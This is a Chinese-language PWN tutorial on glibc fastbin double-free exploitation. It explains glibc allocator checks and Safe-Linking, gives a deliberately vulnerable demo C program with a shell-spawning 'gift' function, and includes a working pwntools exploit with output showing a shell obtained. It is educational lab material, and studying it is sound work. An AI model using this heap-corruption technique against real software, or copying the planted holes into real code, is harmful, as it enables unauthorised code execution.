-> while (tcache->counts[tc_idx] < mp_.tcache_count && (tc_victim = *fb) != NULL)
-> fb = REVEAL_PTR (tc_victim->fd);
-> tcache_put (tc_victim, tc_idx);
-> tcache_entry *e = (tcache_entry *) chunk2mem (chunk);
-> e->key = tcache_key;
-> e->next = PROTECT_PTR (&e->next, tcache->entries[tc_idx]);
即使有重复释放的chunk位于链表中,也不会对fast chunk
移入tcache中有什么影响,但是我们之所以要搞重复释放chunk的环境,是为了申请到一个在仍GLibC中处于释放状态的chunk 1_0
,修改分配到手的chunk 1_1
后,那个仍位于GLibC的空闲链表中的chunk 1_9
自然也会随着更改。
对于fast bin
来讲,如果fd
上保持的地址被修改,就相当于chunk 1_0
指向别的chunk,显然这个地址可以是任意可读可写的内存地址。
chunk 1_1 -> chunk 2 -> chunk 1_0
chunk_1_1->fd = xxx
chunk 1_1 -> chunk 2 -> chunk 1_0 -> xxx
tcahce和fast bin
一样都是单向不循环链表,所以它们都会使用空指针作为结束符,检测不到空指针,那就会继续向后检索fd
。
_int_malloc
遍历fast bin
链表时,会判断数值是不是空指针是必然的,除了检查数值有没有和MALLOC_ALIGNMENT
对齐,如果设置的数值没有对齐就会报错。
(gdb) bt
....
#5 0x00007ffff7e4d965 in malloc_printerr
#6 0x00007ffff7e50df4 in _int_malloc
#7 0x00007ffff7e51eaa in __GI___libc_malloc
......
if (misaligned_chunk (tc_victim))
malloc_printerr ("malloc(): unaligned fastbin chunk detected 3");
修改chunk 1_0
的fd
是跟MALLOC_ALIGNMENT
对齐,也不代表就没有问题了,在函数tcache_put
中,它会往fd chunk + 0x10
和bk chunk + 0x18
两个位置写数据,你需要保证这两个内存区域都是可以的,不然会出现SIGSEGV
异常。
(gdb) bt
#0 0x00007ffff7e5074d in tcache_put
#1 _int_malloc
#2 0x00007ffff7e51eaa in __GI___libc_malloc
......
tcache_put
-> tcache_entry *e = (tcache_entry *) chunk2mem (chunk);
-> e->key = tcache_key;
-> e->next = PROTECT_PTR (&e->next, tcache->entries[tc_idx]);
在重复释放且chunk 1_0
被修改条件下,关于fast bin
中chunk迁入tcache的问题,你不会以为就这么解决了吧?
_int_malloc
找不到空指针时是会一直向下进行遍历的,当PROTECT_PTR
宏被启用时,fd
上保存的数据需要进行反随机化。
如果你不能保证恶意地址xxx
所指向的伪造chunk的fd
所保存的数值yyy
在经历随机化后变成0,那么程序大概率就又要崩溃了。
这是因为反随机后的地址,大概率是不能跟MALLOC_ALIGNMENT
对齐的。
chunk 1_1 -> chunk 2 -> chunk 1_0 -> xxx
xxx->fb = yyy
tc_victim = yyy
if (misaligned_chunk (tc_victim))
malloc_printerr ("malloc(): unaligned fastbin chunk detected 3");
从上面可以看到,在申请fast chunk
时,如果让链表剩余的chunk进入tcache内,会造成很恶劣的后果,所以最好的办法就是填满tcache,避免chunk迁入tcache中。
如果tcache是满的,那申请也是从tcache里面获取chunk,不会进入fast chunk
申请的分支当中,如果tcache是空的,那么申请chunk时(重复释放下链表中一定不止一个chunk),就必然会将链表中的其余chunk带入tcache中。
为了解决这个做也不是,不做也不是的问题,我们需要calloc
这样的特殊接口,它与常见的malloc
不同之处,在于malloc
优先从tcache中获取chunk,而calloc
只会通过_int_malloc
中获取chunk。
对于fast chunk
来讲,使用calloc
接口时的优先级是高于tcache的。
__libc_malloc
-> size_t tc_idx = csize2tidx (tbytes);
-> if (tc_idx < mp_.tcache_bins && tcache != NULL && tcache->counts[tc_idx] > 0)
-> victim = tcache_get (tc_idx);
-> return tag_new_usable (victim);
-> victim = _int_malloc (ar_ptr, bytes);
__libc_calloc
-> mem = _int_malloc (av, sz);
针对chunk进行的大小检查
假如上面提到两个问题都不会造成影响了,但你不会就以为事情就这么结束了吧!
GLibC可比你考虑的周到的多!
当_int_malloc
函数进入从fast bin
获取chunk的分支后,会先根据程序申请内存的大小nb
获取其在fastbinsY
数组中的索引值。
根据索引值取出链表中的头成员后,只要发现不是空指针,就通过REVEAL_PTR
宏更新链表头,结束后会再次判断victim
是否为空,如果不为空,就将victim
地址上存储的mchunk_size
取出,然后根据这个大小拿到它在fastbinsY
数值中的索引值,如果申请大小所得索引值idx
和取出chunk大小所得索引值victim_idx
不匹配,就说明chunk是有问题的,这时GLibC会通过malloc_printerr
抛出异常。
if ((nb) <= (get_max_fast ()))
-> idx = fastbin_index (nb);
-> mfastbinptr *fb = &fastbin (av, idx);
-> victim = *fb;
-> if (victim != NULL)
-> *fb = REVEAL_PTR (victim->fd);
-> if (victim != NULL)
-> size_t victim_idx = fastbin_index (chunksize (victim));
-> if (victim_idx != idx, 0)
-> malloc_printerr ("malloc(): memory corruption (fast)");
如果_int_malloc
从fast bin
链表中获得到的地址是由你设置的恶意地址,那么就需要保证恶意地址的mchunk_size
位置,存储着正确的大小。
2
示例讲解
下面给出了示例程序的源代码。
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <unistd.h>
#include <string.h>
#define CHUNK_MALLOC0
#define CHUNK_FREE1
#define TCACHE_CNT7
#define BYTE_LEN0x8
#define MEM_ADDR_LEN_IN_BYTES(sizeof(void*))
#define MEM_ADDR_REAL_LEN_IN_BYTES0x6
#define MEM_ADDR_LEN_IN_BITS(MEM_ADDR_LEN_IN_BYTES * BYTE_LEN)
#define my_PROTECT_PTR(pos, ptr)
((__typeof (ptr)) ((((size_t) pos) >> 12) ^ ((size_t) ptr)))
#define my_REVEAL_PTR(ptr) my_PROTECT_PTR (&ptr, ptr)
typedef void(*func)(const char* msg);
typedef struct _msg_print {
char msg[0x40];
func output;
} msg_print;
msg_print msg_output;
char* tcache_chunks[TCACHE_CNT];
static void safe_linking_info_decrypt(unsigned long cipher)
{
int i, bits;
unsigned long key, plain;
fprintf(stderr, "enter %sn", __func__);
fprintf(stderr, "tcipher = 0x%lxn", cipher);
key = 0;
for(i = (MEM_ADDR_LEN_IN_BYTES - MEM_ADDR_REAL_LEN_IN_BYTES); i <= MEM_ADDR_LEN_IN_BYTES; i++) {
bits = MEM_ADDR_LEN_IN_BITS - BYTE_LEN * i;
if (bits < 0) {
bits = 0;
}
plain = ((cipher ^ key) >> bits) << bits;
key = plain >> 12;
fprintf(stderr,
"tstage %d: (((0x%016lx ^ 0x%016lx) >> %02d) << %02d)"
", plain = 0x%016lxn",
i, cipher, key, bits, bits, plain);
}
fprintf(stderr, "leave %sn", __func__);
}
static unsigned long safe_linking_info_decrypt_by_marco(unsigned long cipher_stored_addr)
{
unsigned long real_addr;
fprintf(stderr, "enter %sn", __func__);
fprintf(stderr, "tfd store at [0x%lx]n", cipher_stored_addr);
real_addr = my_REVEAL_PTR((*(unsigned long*)cipher_stored_addr));
fprintf(stderr, "tcipher = 0x%lx, plain = 0x%lxn",
*(unsigned long*)cipher_stored_addr, real_addr);
fprintf(stderr, "leave %sn", __func__);
}
static void chunks_malloc_or_free(const char* TAG, int type, char* chunks[], int cnt, unsigned long size)
{
int i;
char* tmp;
for(i = 0; i < cnt; i++) {
if (type == CHUNK_MALLOC) {
if (size == 0) {
fprintf(stderr, "alloc size error!n");
return;
}
tmp = (char*)malloc(sizeof(char) * size);
if (chunks && tmp) {
chunks[i] = tmp;
}
}
else if (type == CHUNK_FREE) {
if (chunks[i]) {
// variable without reset to null pointer
free(chunks[i]);
}
}
else {
fprintf(stderr, "%s: unknow type, cannot malloc or freen", TAG);
}
}
}
static void tcache_fill(void)
{
int i;
char* TAG = "tcache fill";
chunks_malloc_or_free(TAG, CHUNK_FREE, tcache_chunks, TCACHE_CNT, 0);
}
static void tcache_clear(void)
{
char* TAG = "tcache clear";
chunks_malloc_or_free(TAG, CHUNK_MALLOC, tcache_chunks, TCACHE_CNT, 0x30);
}
static unsigned long fast_bin_double_free_env_create(void)
{
char* TAG = "fastbin", * bad_chunk, * fast_chunks[3];
unsigned long cnt;
tcache_clear();
chunks_malloc_or_free(TAG, CHUNK_MALLOC, NULL, TCACHE_CNT, 0x30);
cnt = (sizeof(fast_chunks) / sizeof(char*));
chunks_malloc_or_free(TAG, CHUNK_MALLOC, fast_chunks, cnt, 0x30);
tcache_fill();
chunks_malloc_or_free(TAG, CHUNK_FREE, fast_chunks, cnt - 1, 0);
free(fast_chunks[0]);
return ((unsigned long)fast_chunks[0]);
}
static void gift_give(void)
{
system("/bin/sh");
}
static void tmp(const char* msg)
{
printf("%s: %sn", __func__, msg);
}
static void vuln(void)
{
int i;
char* chunks[4];
for (i = 0; i < 4; i++) {
chunks[i] = (char*)calloc(1, sizeof(char) * 0x30);
fprintf(stderr, "please input somethingn");
read(STDIN_FILENO, chunks[i], 0x30);
}
msg_output.output(msg_output.msg);
}
int main(void)
{
unsigned long free_fast_chunk_addr;
unsigned long aslr_adrr;
fprintf(stderr, "please input messagen");
read(STDIN_FILENO, msg_output.msg, 0x40);
msg_output.output = tmp;
free_fast_chunk_addr = fast_bin_double_free_env_create();
// p + offset(fd)
safe_linking_info_decrypt_by_marco(free_fast_chunk_addr);
// *(p + offset(fd)), p->fd
aslr_adrr = *(unsigned long*)free_fast_chunk_addr;
safe_linking_info_decrypt(aslr_adrr);
fprintf(stderr, "cipher: 0x%lxn", aslr_adrr);
vuln();
return 0;
}
源代码由三个部分组成,一是fast_bin_double_free_env_create
帮助我们主动创建的重复释放环境,二是两个解密Safe-Linking
机制产生的随机化数据,分别是根据密钥进行解密和根据密文进行解密。
最后一部分就是漏洞函数,漏洞函数会申请4个chunk,在当前fast bin
链表中,存在着两个chunk 0
和一个chunk 1
。
vuln
第一次申请chunk时会获得chunk 0
,改写chunk_0 + offset(fd)
的位置会让另一个仍存在于fast bin
链表的chunk 0
不再指向chunk 2
,而是指向你设置的恶意地址,考虑到vuln
函数最后会调用msg_output
的output
函数,所以设置msg_output
显然是个不错的选择。
当vuln
第四次申请申请chunk时,会获得第一次修改chunk时所设置的地址,如果你设置成了msg_output
,那就可以修改output
上的指针指向gift_give
,完成利用并获得Shell。
exploit构造
通过上面的分析构造出下面的exploit。
import pwn
import sys
sys.path.append('../../MyTools')
import conversion
pwn.context.clear()
pwn.context.update(
arch = 'amd64', os = 'linux',
)
target_info = {
'exec_path': './fastbin_double_free_example',
'exec_info': None,
'addr_len': 0x8,
'mem_addr_len_in_bits': 0x40,
'gift_addr': 0x0,
'fake_chunk_addr': 0x0,
'fake_chunk_size': 0x40,
'aslr_key': 0x0,
}
def safe_linking_info_decrypt(aslr_addr):
key = 0
for i in range(2, target_info['addr_len'] + 1):
bits = target_info['mem_addr_len_in_bits'] - target_info['addr_len'] * i
if (bits < 0):
bits = 0
plain = ((aslr_addr ^ key) >> bits) << bits
key = plain >> 12
print(
'[--] stage {0}: ((({1} ^ {2}) >> {3}) << {4})'
', plain = {5}'.format(
i, hex(aslr_addr), hex(key), bits, bits, hex(plain)
)
)
target_info['aslr_key'] = key
target_info['exec_info'] = pwn.ELF(target_info['exec_path'])
target_info['gift_addr'] = target_info['exec_info'].symbols['gift_give']
target_info['fake_chunk_addr'] = target_info['exec_info'].symbols['msg_output']
print('[--] tips: fake chunk address = {0}'.format(hex(target_info['fake_chunk_addr'])))
# chunk 0 -> chunk 1 -> chunk 0
conn = pwn.process(target_info['exec_path'])
# fake chunk set
payload = pwn.p64(0)
payload += pwn.p64(target_info['fake_chunk_size'])
conn.sendafter(b'please input messagen', payload)
conn.recvuntil(b'cipher: ')
leak_data = conn.recvuntil(b'n')
aslr_chunk_addr = conversion.str2int(leak_data[:-1])
print('[++] chunk [ASLR] address = {0}'.format(hex(aslr_chunk_addr)))
safe_linking_info_decrypt(aslr_chunk_addr)
# chunk1 overwrite chunk_1's fd
payload = pwn.p64(target_info['fake_chunk_addr'] ^ target_info['aslr_key'])
conn.sendafter(b'please input somethingn', payload)
# chunk 0
conn.sendafter(b'please input somethingn', b'chunk 0')
# chunk 1
conn.sendafter(b'please input somethingn', b'chunk 1')
payload = pwn.p64(target_info['gift_addr'])
# chunk bad overwrite chunk_bad->fd
conn.sendafter(b'please input somethingn', payload)
conn.interactive()
成功PWN
运行上方的exploit后就可以成功获取Shell。
[*] './fastbin_double_free_example'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Stripped: No
Debuginfo: Yes
[--] tips: fake chunk address = 0x404080
[+] Starting local process './fastbin_double_free_example': pid 85827
[**] strings: b'0x1b512359'
[**] hex: 0x1b512359
[++] chunk [ASLR] address = 0x1b512359
[--] stage 2: (((0x1b512359 ^ 0x0) >> 48) << 48), plain = 0x0
[--] stage 3: (((0x1b512359 ^ 0x0) >> 40) << 40), plain = 0x0
[--] stage 4: (((0x1b512359 ^ 0x0) >> 32) << 32), plain = 0x0
[--] stage 5: (((0x1b512359 ^ 0x1b000) >> 24) << 24), plain = 0x1b000000
[--] stage 6: (((0x1b512359 ^ 0x1b500) >> 16) << 16), plain = 0x1b500000
[--] stage 7: (((0x1b512359 ^ 0x1b509) >> 8) << 8), plain = 0x1b509600
[--] stage 8: (((0x1b512359 ^ 0x1b509) >> 0) << 0), plain = 0x1b509650
[*] Switching to interactive mode
$ id
uid=1000(astaroth) gid=1000(astaroth) groups=1000(astaroth),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),100(users),106(netdev),114(bluetooth),117(lpadmin),121(scanner)
$ exit
[*] Got EOF while reading in interactive
$
[*] Process './fastbin_double_free_example' stopped with exit code 0 (pid 85827)
[*] Got EOF while sending in interactive
看雪ID:福建炒饭乡会
https://bbs.kanxue.com/user-home-1000123.htm
#
原文始发于微信公众号(看雪学苑):PWN入门:FastBin与DoubleFree降妖
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论